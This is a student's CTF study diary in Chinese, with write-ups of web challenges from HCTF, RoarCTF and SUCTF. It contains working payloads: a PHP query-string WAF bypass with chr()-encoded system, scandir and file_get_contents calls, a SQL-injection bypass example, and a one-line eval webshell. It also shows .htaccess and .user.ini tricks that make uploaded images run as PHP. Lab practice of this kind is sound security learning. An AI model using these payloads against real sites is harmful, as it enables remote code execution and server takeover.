四月份安全-2
liduoan.efls Engineer

2020.04.07

今天是因为身体不行了,然后有学了两个小时的php开发。

所以没多少时间写了。。

明天补上!

2020.04.08

[HCTF 2018]admin

首先直接进去后。

查看源码:有注释你不是admin用户

说明如果是admin用户就可以得到flag了

然后注册登陆。可以看到有一个注释,是源码的地址。

然后我就不会了

他是python的flask的漏洞和源码审计。。

还有seeesion的问题。是个可以被解密的签证。

我傻了。留着吧。

主要参考:

https://www.cnblogs.com/chrysanthemum/p/11722351.html

https://xz.aliyun.com/t/3569#toc-0

https://www.leavesongs.com/PENETRATION/client-session-security.html

https://cizixs.com/2017/03/08/flask-insight-session/

2020.04.09

[RoarCTF 2019]Easy Calc

这道题目有趣多了

学到的知识点

1、如果我们的单引号和双引号被过滤了

我们怎么输入字符串?

​ 1)、chr()

chr ( int $ascii) : string:返回指定的字符

​ 2)、hex2bin ( string $data ) : string

​ :把十六进制字符串转化为二进制字符串

dechex ( int $number) : string

​ :十进制数字转化为十六进制字符串

2、如何查看当前目录下有什么。除了直接使用system()

scandir ( string $directory [, int $sorting_order [, resource $context ]] ) : array

​ 返回一个数组。数组里包含directory中的文件和目录

3、PHP字符串解析

字符串解析

PHP查询字符串(在URL或正文中)转化为内部$_GET$_POST数组时,例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

/news.php?%20news[id%00=42"+AND+1=0--

PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除空白符

2.将某些字符转换为下划线(包括空格)

image

这也是为什么上一篇有一道题目

他过滤了下划线,而变量名字为b_u_r_p

我们可以利用 b%20u%20r%20p来成功输入变量

好了基本知识点都知道了

我们来解解题目

测试发现,输入只能是数字和特殊字符,不允许使用字母

这里就是利用PHP字符串解析了。

假如waf不允许num变量传递字母:

http://www.xxx.com/index.php?num = aaaa //显示非法输入的话
那么我们可以在num前加个空格:

http://www.xxx.com/index.php? num = aaaa
这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。

但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

至于是怎么发现是这个的。。。我哪知道啊。

之后 我们审查一下calc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

看的出来,它过滤了 空格 单引号 双引号 换行 [ ] $ \ ^

还好没有过滤 ( )。那么我们可以利用很多了

ascii码表查找:http://ascii.911cha.com/

不就是不给直接输入字符串嘛!

然后我尝试payload?%20num=2;system(chr(108).chr(115))

结果不能出来目录。还记得上次无参RCE使用的scandir()函数

然后使用?%20num=2;var_dump(scandir(chr(47)))直接扫根目录

一般flag都在根目录里面

那么后面的操作就容易了

?%20num=2;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

不说了,另外一种http走私不会。。就这样,等刷完BUU我再刷第二遍的时候

就精细一点。!

参考:https://www.cnblogs.com/chrysanthemum/p/11757363.html

参考里有很多的参考【??套娃【笑

[SUCTF 2019]CheckIn

文件上传题目

新的利用点 ——**.user.ini**

整理下文件上传题的步骤:

随意上传php

fuzz后缀测试【可后面再做

改未知扩展名如.aaa来判断是黑名单还是白名单

之后再判断<?问题

再判断MIME问题

文件头问题

有一个经常可以通过的<script language='php'> @eval($_POST['aaa']);<scirpt>

黑名单过滤而且可以上传图片马,那我们首先想到的肯定是传一个.htaccess上去来将图片马解析为php

这个方法是.htaccess文件内容为

1
2
3
<FilesMatch "jpg"> 
SetHandler application/x-httpd-php
</FilesMatch>

除此之外还有一个.user.ini的方法

image

也就是说我们可以在.user.ini中设置php.iniPHP_INI_PERDIRPHP_INI_USER 模式的 INI 设置,而且只要是在使用 CGI/FastCGI 模式的服务器上都可以使用.user.ini

在p牛的文章中提到了两个有趣的设置:auto_prepend_fileauto_append_file

image

大致意思就是:我们指定一个文件(如liduoan.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./liduoan.jpg);

这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)

那么我们在.user.ini文件中写入

1
2
GIF89a
auto_preprnd_file=liduoan.jpg

这样,在我们访问某个php文件的时候,liduoan.jpg就会被插入在这个php文件前面。那么liduoan.jpg的php代码不就可以执行了?!

好了,讲讲**.user.ini**的利用条件

  • 服务器脚本为PHP
  • 服务器使用CGI/FastCGI模式
  • 上传目录下要有可执行的php文件

优势: 和**.htaccess**后门比,范围更加广,nginx/apache/IIS都有效。而.htaccess只对apache有效

注意和利用.htaccess的差别,在解题中最重要的是上传目录文件夹下有可执行的脚本。

具体解题步骤

上传.user.ini liduoan.jpg文件

image

之后蚁剑连接/uploads/76d9f00467e5ee6abc3ca60892ef304e/index.php

根目录查看flag 【全都是在根目录。。。

参考:https://xz.aliyun.com/t/6091#toc-1

2020.04.16

[极客大挑战 2019]RCE ME